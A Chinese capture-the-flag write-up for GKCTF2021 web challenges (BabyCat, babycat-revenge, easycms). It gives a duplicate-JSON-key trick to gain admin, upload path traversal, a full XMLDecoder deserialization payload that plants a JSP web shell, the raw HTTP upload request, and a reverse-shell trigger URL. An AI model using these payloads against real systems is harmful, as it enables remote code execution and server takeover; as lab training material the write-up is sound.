BabyCat
主页有个register和login。看JS。构造
/login data={"username":"test","password":"test"}
不能登陆。用同样的参数去register。可以注册用户。
然后登陆 登陆后有个download接口。
可以任意文件读取
读到
register的doPost方法里。有个正则。匹配"role":"(.*?)"。如果匹配到了。就替换为"role":"guest"。
而json有个特性"a":"1","a":"2"。后面的值会覆盖前面的值。所以第一个值让他替换为guest。然后第二个值"role"/**/:"admin"。覆盖前面的值过掉正则
变成admin后文件上传,发现可以目录穿越,Static界面可以访问,且出题人黑名单判断没生效。直接传一句话
babycat-revenge
前面注册、任意文件读的步骤和前一题一样,就不赘述了
在baseDao看到了xmlDecode既然不能正常写jsp了就只能反序列化
参考:
https://www.cnblogs.com/hetianlab/p/13534535.html
本来打算构造类似下文的东西,发现内容被黑名单了
文件名黑名单:String[] extWhiteList = new String[]{"jpg", "png", "gif", "bak", "properties", "xml", "html", "xhtml", "zip", "gz", "tar", "txt"};
内容黑名单:String[] blackList = new String[]{"Runtime", "exec", "ProcessBuilder", "jdbc", "autoCommit"};
<java version="1.7.0_80" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0"><string>calc</string></void>
</array>
<void method="start"></void>
</object>
</java>
Runtime和Process没了本来打算直接构造javax.script.ScriptEngineManager
奈何因为需要调用getEngineByName,构造链子有点不太会,xmlEncode.writeObject也一直抛异常写不出ScriptEngineManager。
根据提示的PrintWriter?
PrintWriter好像是java.io.PrintWriter
然后去搜了搜weblogic的xmldecode,发现了个文章可以参考
https://www.cnblogs.com/peterpan0707007/p/10565968.html
如图:
只需要中间的那一部分,注意因为Runtime和Process没了就写js引擎(或者由于字符串好绕过内容检测反射构造其他的也行)。
写个xml
<java version="1.8.0_192" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>/usr/local/tomcat/webapps/ROOT/static/ha1.jsp</string><void method="println">
<string><![CDATA[`<% javax.script.ScriptEngineManager sem = new javax.script.ScriptEngineManager();
javax.script.ScriptEngine engine = sem.getEngineByName("nashorn");
System.out.println(engine.eval(request.getParameter("ha1"))); %>`
]]></string></void><void method="close"/>
</object>
</java>
可以读到绝对路径
POST /home/upload HTTP/1.1
Host: 5670477a-010a-4357-8c25-0d7d820a1a0d.node3.buuoj.cn
Content-Length: 704
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://5670477a-010a-4357-8c25-0d7d820a1a0d.node3.buuoj.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8iSbAeqCQHarTgI1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://5670477a-010a-4357-8c25-0d7d820a1a0d.node3.buuoj.cn/home/upload
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: UM_distinctid=1799c6cf0666fc-061573093b8fbb-37607201-c0000-1799c6cf067aaa; JSESSIONID=DC9603067E1DEF7950F283372D58A014
Connection: close
------WebKitFormBoundary8iSbAeqCQHarTgI1
Content-Disposition: form-data; name="file"; filename="../db/db.xml"
Content-Type: text/x-python-script
<java version="1.8.0_192" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>/usr/local/tomcat/webapps/ROOT/static/ha1.jsp</string><void method="println">
<string><![CDATA[`<% javax.script.ScriptEngineManager sem = new javax.script.ScriptEngineManager();
javax.script.ScriptEngine engine = sem.getEngineByName("nashorn");
System.out.println(engine.eval(request.getParameter("ha1"))); %>`
]]></string></void><void method="close"/>
</object>
</java>
------WebKitFormBoundary8iSbAeqCQHarTgI1--
覆盖成功,然后找下怎么触发baseDao这个类的静态代码块,想法就是找Dao层的东西就写了
LoginServlet里有
Register自然也有
为了方便重新登录一下就行了。
访问jsp
<a href="http://5670477a-010a-4357-8c25-0d7d820a1a0d.node3.buuoj.cn/static/ha1.jsp">http://5670477a-010a-4357-8c25-0d7d820a1a0d.node3.buuoj.cn/static/ha1.jsp</a>
本来想/readflag执行,发现没直接的回显,发现少写了几句。
构造个反弹shell的,url编码一下
触发
<a href="http://5670477a-010a-4357-8c25-0d7d820a1a0d.node3.buuoj.cn/static/ha1.jsp?ha1=java.lang.Runtime.getRuntime().exec("反弹shell"">http://5670477a-010a-4357-8c25-0d7d820a1a0d.node3.buuoj.cn/static/ha1.jsp?ha1=java.lang.Runtime.getRuntime().exec("反弹shell"</a>;);
easycms
后台 demo/demo登录或者admin/12345登录。审计发现可以通过模板注入rce
但是需要在system的tmp目录下有某个txt才会生效,继续审计,发现
此处可以直接上传txt,且文件名不变,所以只需要解决目录穿越的问题就可以了。测试发现这里直接../../system/tmp/文件名即可rce
然后就rce了
[…] GKCTF2021 […]